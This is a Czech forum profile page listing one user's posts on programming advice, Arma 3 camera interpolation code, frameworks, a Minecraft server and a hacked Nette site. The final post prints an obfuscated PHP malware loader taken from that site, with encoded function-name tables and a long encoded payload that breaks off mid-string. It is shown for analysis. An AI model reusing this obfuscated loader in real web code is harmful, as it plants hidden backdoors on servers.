Jump to content

ffredyk

Majitel
  • Příspěvků

    3253
  • Registrován

  • Aktivní

  • Vítězných dnů

    58

Příspěvky posted by ffredyk

  1. před 2 hodinami, Farleon said:

    To je anténa navržená pro spojení dvou vzdálených bodů s přímou viditelností - má malý úhel. Určitě není navržená na pokrytí prostoru signálem. Mrkni spíš na něco jako tohle: https://www.i4wifi.cz/cs/210743-ubnt-unifi-ac-mesh-ap-2-4ghz-300mbps-5ghz-867mbps-1x-gbit-rj45-venkovni-poe-24v-802-3af-alta?gclid=CjwKCAiA25v_BRBNEiwAZb4-ZT4TLwQRbkQp2VGNsNAhSJ7SceoCLma0f9RLQdrq5mY4GyzcTVGouRoCZxcQAvD_BwE

    • Děkuji (+1) 1
  2. Zdravíčko přátelé - možná jste zabrouzdali na toto fórum náhodou, možná hledáte zdroje k výuce programování, či si jen stavíte informační balík a zvažujete, jestli se do toho pustit.

    Na všechny vaše základní otázky bych rád odpověděl jednou větou - programování je styl života. A dále ji rozvedu: Jakmile se jednou naučíte programovat, už se nedokážete na jakoukoliv technologii koukat stejným způsobem jako kdy dřív. Jakmile začnete myslet analyticky, změní se vám pohled na celý svět. Osvojíte si nové dovednosti nejen na počítači, ale i v běžném životě. Programování prostě nehorázně ovlivní váš každodenní život a pokud mu propadnete tak jako například já - dá se říct, že vás úplně pohltí. 

    Když se chce člověk naučit programovat, musí se naučit myslet jako stroj, představit si práci kódu, postup po řádcích a dokázat udržet v paměti kvantum informací. Při větších projektech jsem musel v hlavě udržet povědomí o několika stovkách názvů a vědět k čemu přesně slouží a případně kde jsou všude využity (a to mluvím jen o proměnných a vlastních funkcích). Nehledě na tisíce dalších názvů funkcí a dalších pojmů, které si musíte pamatovat při schopnosti jakéhokoliv psaní kódu.

    Programování rozvíjí všechny druhy mentálních schopností - logiku, matematiku, analytiku, strukturu, fantazii, kreativitu. Vy sami si určíte rychlost a intezitu, kterou to do sebe začnete prát - proto také nedoporučuji platit si výukové kurzy - budou to do vás prát rychlým tempem, protože čas jsou peníze a čím víc toho do vás co nejrychleji nahustí, tím více lidí dokážou "obsloužit".

    Ze zkušenosti vím, že většina nadaných programátorů startuje na programování ve hrách, které hrajou. Dává to smysl, protože právě pomocí her člověk najde v programování zálibu, koníček a smysl. Tvoříte vlastní svět, dle svých pravidel a realizujete vaše vlastní fantazie a nápady - tak jak se vám zachce. Objevujete nové funkce postupně a základy programovacích jazyků ve hrách jsou velmi jednoduché a často stavěné na syntaxi pokročilých jazyků, takže je potom přechod na vyšší level o hodně jednodušší. Z moderních her mohu doporučit jednoznačně Arma 3 (C-like SQF), Minecraft (Java), Rust (C#) a ze starších GTA SA:MP (C-like Pawn), CS GO (Lua / C-like Pawn), Garry's Mod (Lua).

    Začátek - první krůčky

    Učte se z dokumentace dané hry (či jazyka) za pomoci experimentování, snažte se vyřešit samostatně všechny chyby, bugy či pády - tímto způsobem se dá naučit nejrychleji, nejlépe a nejzábavněji. Pokud si myslíte, že problém se prostě nedá vyřešit, zkuste kód smazat a napsat ho úplně jinak, myslete tzv. outside-of-the-box - nemějte tunelové vidění. Jako v open-world hrách i programování má více řešení. Pokud problém vyřešíte, zkuste zapřemýšlet, proč to takhle funguje a proč to předtím nefungovalo - musíte do hlavy dostat všechny tyto informace a pospojovat relevance - poté začnete psát perfektní kódy neustále.

    Stanovte si nějaký cíl - například "Naprogramuji herní mód deathmatch, s počítáním skóre a textovými efekty vítěze" - po splnění zkuste něco obtížnějšího, něco co si nedokážete představit jak v tuto chvíli naprogramovat, ale přeci jen víte, že je to realizovatelné - například "Teď se pustím do capture the flag s náhodnými událostmi ovlivňující chování hry po každé získané vlajce" - hlavou vám proběhnou myšlenky jako "Sakra jak udělám tohle, a jak támhleto?" - v tuto chvíli je potřeba se naučit takové myšlenky vyházet z hlavy, jsou zbytečné. Řekněte si, co je potřeba udělat jako první, jako druhé a udělejte to, poté se vrhněte na další věci. Je dobré si ze začátku celý plán napsat bodově do nějakého dokumentu. 

    Spoiler

    Mozek dokáže pracovat buď v analytickém režimu, který je dobrý pro programování - nebo kreativním režimu, který se využívá pro stavbu konceptu. Někteří lidé dokáží využívat oba módy v jednu chvíli, těmto já závidím, většina z nás to neumí. Když začnete míchat programování s fantazírováním, začnete psát nefunkční odpad a zamotáte si celý koncept. 

    Proto je nejlepší začít tzv. s papírem a tužkou, načrtnout koncept do dokumentu, vymyslet všemožné funkce a prvky - představit si výsledek a jak funguje, přenést tyto myšlenky "na papír" Pokud vás v průběhu psaní kódu začnou napadat nové věci - přepněte do dokumentu a chvíli se zase věnujte vymýšlením a představováním jak to celé bude fungovat. Vždy upřednostněte fantazii před analytikou.

    Programování je obrovský blokátor fantazie, po letech programování je složité se dostat z analytického režimu do toho kreativního, protože programování zabere 80% celého času vývoje produktu. Proto může být důležité naučit se využívat fantazii naplno už na samotném počátku výuky programování, udržíte si schopnost vymýšlet kreativní a inovativní věci o hodně déle a bude pro vás jednodušší přepínat.

    V případě, že se pouštíte do HTML, PHP, či jiného webového jazyka (či neherního jazyka), si místo herních módu představte například vlastní blog, e-shop, portfolio, galerii, úložiště. Můžete zkoušet naprogramovat klony známých webů - idnes, dropbox, facebook, youtube, google - cokoliv vás napadne. V tuto chvíli nejde o výsledek - ale o experimentování, které vás zocelí ve znalostech.

    Další kroky

    Pamatujte, že v momentě kdy zjistíte, že vás to nebaví, je to moc složité na pochopení, vypadá to jakoby se někdo vyblil na klávesnici, nebo to píšou asi v latině - neztrácejte motivaci, zezačátku vždy experimentujeme - můžete se zkusit učit jiný jazyk, v jiné hře, jiném nástroji - tohle není čeština nebo angličtina, pokud se naučíte jeden programovací jazyk velmi dobře, je velmi pravděpodobné, že umíte základy dalších desítek programovacích jazyků. Jazyky se můžou lišit syntaxí, způsobem zápisu, ale ve výsledku jsou si všechny velmi podobné. Dá se říct, že největší skupina jazyků se označuje C-like (vyjadřují podobnost syntaxi jazyka C [wiki]). Poté tu máme originální Python, PHP, Pascal, Fortran, Perl, LISP. Jazyky se dělí na nespočet kategorií (druhů kategorií) a struktur, které je zbytečné znát [zdroj]. V tom největším měřítku se dají všechny jazyky obalit do 5 hlavních oddílů:

    • Strojový jazyk - to jsou jedničky a nuly, bitové informace, nečitelné pro člověka, ale jediný jazyk, ve kterém pracuje jakýkoliv procesor.
    • Assembly / LLL: low-level jazyk - jazyk vytvořený zvlášť pro různé procesory, nejnižší čitelná forma kódu (Assembler je program pro překlad tohoto jazyka na strojový jazyk)
    • HLL: High-level jazyk - velmi user-friendly jazyk, který se využívá v profesní lize, tvoří se v něm hry, aplikace, nástroje, weby a všemožné další výtvory. (C, C++, C#, PHP, Java, apod.)
    • VHLL: Very-high-level jazyk - je jazyk s velkou abstrakcí, většinou je částí již hotového produktu (tvořený v HLL), například jako součást moddovacích nástrojů her (SQF pro Arma 3, Pawn pro SA:MP)
    • Dětské jazyky - existují pro výuku programování dětem, jsou naprosto jednoduché, většinou přeložené do řeči rodné země. Nabízí naprosto minimum funkcí a slouží jen jako základní vstup do světa programování. (Scratch, Blockly)

    A nebo je můžeme rozdělit do typů dle stylu programování: (Programovací paradigmata [zdroj])

    Ve výsledku jde jen o to, zapamatovat si funkce, metody, proměnné a syntax. Vše ostatní už je jen schopnost toto všechno pospojovat dohromady - tomu se říká programování.

    • Líbí se mi to! (+1) 4
  3. Zdravíčko přátelé - možná jste někdy ve svém módu řešili animace, interpolaci, či jakýkoliv plynulý pohyb předmětu či čehokoliv jiného. Dá se samozřejmě přes lineární konverzi (jejíž algoritmus najdeme ve všech jazykových podobách na internetu) zařídit ostrý pohyb z bodu A do bodu B. Pokud ale chceme zajistit plynulejší pohyb s rozjezdem a dojezdem - tedy zrychlením a zpomalením, které nebije tolik do očí - je potřeba upravit chování naší lineární konverze tak, aby buď rovnou pracovala na algoritmu, který toto bere v potaz, případně můžeme toto nasimulovat pomocí nástrojů nám svěřených.

    Nejdříve si ukážeme "hack" verzi - tedy pro mě jako absolutního nematikáře - absolutní začátek a experiment celé pseudofunkce. Příklad si uvedeme ve hře Arma 3, pro pohyb kamery v cutscéně. Arma 3 nám nabízí funkce pro lineární pohyb kamery z bodu A do bodu B - ostrou cestou. Tím je myšleno, že po spuštění funkce se kamera fixní rychlostí přesune z jejího dosavadního bodu do bodu zadaný v parametru funkce v čase také zadaném v parametru funkce:

    _cam = "camera" camCreate [0,0,0]; //Vytvořit kameru na pozici [0,0,0]
    _cam cameraEffect ["internal","back"]; //Přepnout obraz hráče do této kamery
    
    _cam camPreparePos [10,10,10]; //připravit přesun na pozici [10,10,10]
    _cam camCommitPrepared 5; //přesun trvá 5s

    Vizuálně takový přesun je sice použitelný, nicméně není plynulý a strašně neuhlazený (hlavně při pohybu na více bodů v řadě).

    Double LERP

    Ukážeme si ten nejjednodušší způsob, který vymyslí hlavně nematikář - za pomocí lineárního pohybu, který arma nabízí, můžeme nasimulovat rozjezd a dojezd pomocí zdvojeného lerpování (linearní interpolace, kterou obstará příkaz camCommitPrepared).

    //Používáme globální proměnné pro zviditelnění kamer pro skript na EachFrame
    
    V_cam = "camera" camCreate [0,0,0]; //Vytvořit kameru na pozici [0,0,0]
    V_cam cameraEffect ["internal","back"]; //Přepnout obraz hráče do této kamery
    
    V_camPos = "camera" camCreate [0,0,0]; //Vytvoří kameru využitou na pozadí pro výpočet lineráního přesunu kamery
    
    V_camLerp = addMissionEventHandler ["EachFrame", //Vytvoříme unscheduled environment spuštěný na každém vykresleném snímku
    {
      _T_pos = getPosASL V_camPos; //Vezmeme si ASL pozici kamery pro přesun
      _C_pos = getPosASL V_cam; //Vezmeme si ASL pozici vizuální kamery
      _T_pos = vectorLinearConversion [0,1,0.1,_C_pos, _T_pos]; //Provedeme lineární konverzi (lerp) s progressem 0..0.1..1 (toto zajistí efekt akcelerace)
      
      V_cam camPreparePos (ASLToATL _T_pos); //Nastavíme výslednou (interpolovanou) pozici
      V_cam camCommitPrepared 0;
    }];
    
    V_camPos camPreparePos [10,10,10]; //připravit přesun na pozici [10,10,10]
    V_camPos camCommitPrepared 5; //přesun trvá 5s
    
    sleep 5.1; //Počkáme 5s na přesun kamery + 0.1s na dokončení akcelerace naší vizuální kamery
    removeMissionEventHandler ["EachFrame", V_camLerp]; //Zničíme lerpovací skript

    Můžeme si samozřejmě napsat kompletní funkci, která využije příkaz vectorLinearConversion dvakrát a obejde tím rovnou vytvoření druhé kamery a příkaz camCommitPrepared pro přesouvací kameru. Pro jednoduchost a čitelnost skriptu (a variabilitu) jsem předal funkci takto :) 

    Pro práci s pohybem kamery (resp. pro relevantní výpočty a manipulace) využívám výhradně pozici ve tvaru ASL (Above Sea Level), protože při interpolaci ATL (Above Terrain Level) kamera při přesunu skáče dle toho jestli pod sebou zrovna nemá kopeček, či díru :) (proto zjišťuji polohy ASL a poté překládám do ATL při nastavení pozice samotné kamery - příkaz pracuje s ATL pozicemi a sám interpoluje na ASL)

    Interpolace pomocí algoritmu

    Tou "správnou" cestou by měla být pravá matematická interpolace se zahrnutím easingu už v algoritmu. Existuje mnoho různých algoritmu na ty samé pohyby - ať už jde jen o zrychlení, jen o zpomalení, či oboje - na vše je několik variant. Ukážeme si jenom tu základní - na zbytek uvádím silný zdroj: http://gizma.com/easing/

    _posA = [0,0,0]; //Nastavení bodů
    _posB = [10,10,10];
    
    _startTime = time; //Nastavení výchozího času a délky průběhu
    _endTime = _startTime + 5; //+5s
    
    _eh = addMissionEventHandler ["EachFrame", 
    {
      _progress = linearConversion [_startTime, _endTime, time, 0, 1, true]; //Převod průběhu času na range 0..1 s clamp
      _progress = _progress * _progress * (3 - 2 * _progress); //https://www.wolframalpha.com/input/?i=x+*+x+*+%283+-+2+*+x%29 (křivka pro easing-inout)
      
      _curPos = vectorLinearConversion [0,1,_progress, _posA, _posB]; //Vlastní výpočet bodu na trase (interpolace s easingem)
    }];
    
    sleep 5; //Celý pohyb i s akcelerací bude probíhat přesně 5s
    removeMissionEventHandler ["EachFrame", _eh]; 

    Kdo chce bejt absolutní fajnšmejkr, tak tu má ještě funkci pro lineární interpolaci (i když ji skoro každej engine i samotný jazyk nabízí už v nějaké matematické třídě)

    func_myLerp = 
    {
      params ["_A", "_B", "_progress"]; //Parametry funkce
      _progress = _progress max 0 min 1; //Clamp na range 0..1
      
      (_A + (_B - _A) * _progress);
    };

     

  4. Pánové, přidám i svůj názor na téma frameworků :D

    Z praxe vím, že je to celé jen o výsledné kvalitě a zároveň o částce, kterou za výsledek dostanete.. ATomas nemá pravdu v tom, že programátor by neměl používat frameworky, naopak by měl. Ale zároveň musí rozumět tomu, co se děje pod pokličkou těchto frameworků.. Je to něco jako být mechanik a opravovat auta jen podle manuálu - opravíš to, ale ve skutečnosti nemáš tucha proč se to vysralo, jak tomu předcházet a co jsi vlastně udělal pro to, aby to zase jelo.

    Programátor samozřejmě musí znát problematiku, které se věnuje, musí se v ní orientovat, mít pojem o celé syntetice kódu. Využití frameworku ve výsledku mnohonásobně urychlí práci a ušetří peníze buď klientovi, nebo přinese víc peněz programátorovi. Navíc mainstream framework testuje tisíce lidí dnes a denně, to je číslo, které ti žádný klient nezaplatí. Testují ho whitehat i blackhat inženýři, další prachy, které nikdo do klasického vývoje jen tak nevrazí. Vyvíjí ho tým profesionálů, kteří jsou ve VĚTŠINĚ případů za to ještě placeni (granty, příspěvky od firem, či programátorů, kteří jejich framework využívají). Proto si troufám tvrdit, že v dnešní době je používání frameworku nejen DOBRÝ nápad, DOBRÝ zvyk a zaběhnutá praxe, ale dává to i mnohem větší smysl, než neustále dokola stavět základy tam, kde už jich několik postaveno bylo :) 

    A zakončím to klasickým tvrzením: Víc hlav, víc ví. (A těch hlav se okolo frameworků motá neskutečné množství :) )

    • Líbí se mi to! (+1) 1
  5. Zdravíčko přátelé :) 

    Po menších existenčních potížích jsem se nyní konečně dostal zpět na svou kolej a jdeme se společně s vámi všemi vrhnout na stavbu našeho prvního serveru - minecraft serveru! :) 

    Vzhledem k tomu, že já osobně se o to starat dopodrobna nemohu, rád bych z vašich řad našel nadšené lidi aktivní v této hře, kteří by si na sebe hodili částečnou zodpovědnost za plynulý chod na serveru a jeho kvalitu obsahu. Proto hledám lidi, kteří budou dosazeni na post Moderátorů a Creatorů - tedy lidí stavějící zajímavé stavby, ve kterých mohou uspořádat soutěže.

    Všechno zajímavé a důležité o serveru bude v jiném vlastním topicu.

    Pokud máte zájem o roli Moderátora:

    • Musíte aktivně hrát Minecraft.
    • Musí vám být alespoň 16 let.
    • Musíte se smířit s tím, že práce moderátora není med - má své výhody, ale také o něco více nevýhod.
    • Nesmíte zneužít svou roli a pravomoce k obohacování ostatních hráčů, či narušování ekonomiky serveru
    • Zdržte se vulgarismů, fungujte jako profíci, dejte pozor na gramatiku - vedoucí pozice musí jít příkladem.

    Pokud máte zájem o roli Creator:

    • Dostanete speciální pravomoce k jednoduché manipulaci terénem i objekty.
    • Označení Creator v sobě nese pojmy jako: Builder, Eventer, VIP - jste všechno toto v jednom balíčku, buďte středem komunity.
    • Ukažte nám své stavby, čeho jste schopní, jakou fantazii máte a co všechno postavíte!
    • Nesmíte zneužít svou roli a pravomoce k obohacování ostatních hráčů, či narušování ekonomiky serveru - nevztahuje se na výherní ceny a výherce eventů, soutěží, či dalších jednorázových akcí. (Jen ta výhra nesmí být nějaký stupidní nesmysl - jako 10 stacků diamantů apod.)

    Žádosti mi napište sem do topicu :) Pokud nemáte zájem se přidat, ale chcete protlačit někoho, kdo se přihlásil - přihoďte mu k jeho postu nějakou pozitivní reakci :) 

    • Paráda! (+1) 1
    • Líbí se mi to! (+1) 3
  6. Jojo, web je stavěný na starší verzi Nette - dělala to nějaká random firma kdysi dávno, já jen převzal údržbu. Je to celkem strašidelně napsaný a nedá se do toho pořádně sáhnout aniž by se něco neposralo.. Web se jim povedlo prolomit znova, nicméně to už byla jiná díra (přes basic PHP vyráběné API pro program na dotazování informací z DB), která jela snad 10 let netknutá :D

    • Haha! 1
  7. Nakonec jsme zjistili, že po několika letech fungování Nette bez větší CWE nakonec našli díru jako kráva, která dopomohla ke code execution... Díra se týká všech verzí Nette, byl vydaný patch, který tuto díru rychlým způsobem vyřeší. Díra spočívala v chybě MicroController - přes parametry URL se dá zmotat podmínka, přes kterou se poté provede code execution. 

    Zdroj: https://phpfashion.com/objevena-prvni-zranitelnost-v-nette-aktualizujte

  8. Nedalo mi to spát a ještě jsem se podíval na eval druhého base64 enkryptu. Také je to zajímavé maskování celého payloadu, rozlámal jsem to na kousky a hodil do sandboxu

    <?php
    
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
    $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
    $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
    $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
    $OO0000=$O00OO0{7}.$O00OO0{13};
    $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    
    //2nd enkrypt
    $O0O000="TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqINd5bgBqkJRWcgoEkJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSaPB1kJOiXURAkJxqINd4tzF0nJYulJYulJYS9fKelJYulJYulJOkbJYXrWRprWRJepOVviV9dU250iB50CYutCtSeNYNTnhS7fKepYKvvPhu9JO1vAhXjifQeKYEHE0wQBcWXp10TnxLAYlvpYhEIJf0lUBK1nO1vAhXupV9REwEUp2JtohvTzF0nYKvpgBPepOD9soAjU3w0iO8ep2X0WRu6Cc8tCIEtU3WkPI4tC2DaNOXFpcvlHRFlpOJ9shNcGBG0ifurGBEvGdv5GfDrAxiXzxVIG2wbP2AXGfDrGYNTZF0nYKvpYhErUoA0NIu9JDuvo0WVwVLtN21rWRJtoxLAYlvpYKkTiIXbgBqko3S1WV9dU250iB50NclvNOV0gYuaJYNypcuaJYEXiOEHP29aWOwaWYFlpRAjN3Ecnhk7fKepYKvpYBwdgO8lp29MprLAYlvpYKk9fKepYKk9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutiOwLpck7fKelJYulJYulJOkbnOiTUOwHioXTN3ErnYEbgBqko3SXWOlTnoLAYIulJYulJYulJYulJYEvPoEXJf0lN21yWoEvUclvibkLiw9FPoEenxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuviOV0Phu9JYNtzF0nJYulJYulJYS9fKelJYulJYulJOkbnRA0NtA0NIlviOV0PhFtCcNapOVviV9dU250iB50nhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshS0NbkjnYEvPoEXnh4IoRpNUIJap1ATWOwjPou6JOX0WRSrzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWOVHUbw3Jf0lWRpTUhlviOV0PhvaJkqcoO4ICIWxgoEkUBVFzISeWREFzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeibkLiw9FWoEHP29aWOwaWRGepOiTUOwHNOV0gYFviOV0Pw9aioNTnhS7fKelJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+ibkLihS3Nbk0ihSbPBqrihD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSvU2wrJO5yWYSkZOkrWYD8PtJ+prLAYIulJYulJYulHK0nJYulJR0AYl0nJYulJOw4goK7fKT9fKTbWB5dWOkyUISTN19eWREFNclTJRLAYIulJYSTiIueJYVkUoS0Zhlvo1AVQkiVQkLthVEQQVGtohvlpIPlN3EcWO9LU3WkNIlvo1AVQkiVQkLthVEQQVGtohvlJx09JYWyibPtnhS7fKelJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJR0liBqriBkbJYllgoArioKepV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohvlpIPlpV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohu9sx0lp2X0WRSrpcuTJRLAYIulJYulJYulNbw0WopaJREcWBQ7fKelJYulHhSkURAkgBPlnYuXiB1FWRvepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYPbJRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYD9shutU2ibpcvlZF0nJYulJYulJYScioE1Nb4lWRp1ixLAYIulJYS9fKelJYulNbw0WopaJOiXURAkzF0nHK0npREkUoulshSupV9REwEUp3AjWOwjNYWWzF0npOkvJf0lKYEHE0wQBcWrUBkvp107fKevN2k0ihu9JDuvo0WVwVLtN21rgoEkp107fKevNOVtihu9JDuvo0WVwVLtN21FPBWkp107fKevN2k0ihu9JRA0Nk9cioSLPBAknYNypcFtpcFvN2k0ihv7fKevgO9rWYu9JYEHQ0whwvwhBcWJwVEKo0XsQ1KtoxLAYIEdUO9dgcu9JYNtzF0nfKevWOwjNRWkPIu9JDuvo0WVwVLtWOwjNRWkPIWWzF0npREkUoS3iBJlshSrWRpHNbwFUOVdihltCcNLpcNLpREkUoS3iBJTzF0nfKTTiIlvWOwjNRWkPIk7fKelJYulpRATWOQlshuvWOwjNRWkPkLFoh4vWOwjNRWkPkLqoh4vWOwjNRWkPkLcoxLAYIulJYuvWOwjNYu9JRA1PtA0NIlvWOwjNRWkPIFrnxLAYt0AYIELPB5tJf0lpV9xEwpBEwpUJvXQwVSHKQAfEwSQo0qSxvWwKQWVJk07fKevUOVaicu9JYErnYELPB5tnxLAYIEyNcu9JYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtoxLAYIEyNcu9JYErnYEyNcv7fKTTiIXTN3AkWYlvo1AVQkiVQkLthVEQQV9hEQiVQvwhp10TnoLAYIulJYuvWopLN2XXUbNlshuvo1AVQkiVQkLthVEQQV9hEQiVQvwhp107fKelJYulpRwcURAePB5tJf0lpRGepRwcURAePB5tnxLAYt1kURAkZF0nJYulJYE1NbqrgOVaicu9JYNtzF0nHK0nfKTTiIXtioEkUtPep1pVxQ9QEw9SEDEhpcvlpIPlN3EcP2VriBAjNYXtioEkUtPep1pVxQ9QEw9SEDEhpcvLJYW1UbjaU3WapcvTJRLAYIulJYuvP2qyP2LlshStioEkUtPep1pVxQ9QEw9SEDEhpcv7fKT9JOwLN2wTiIXTN3AkWYlv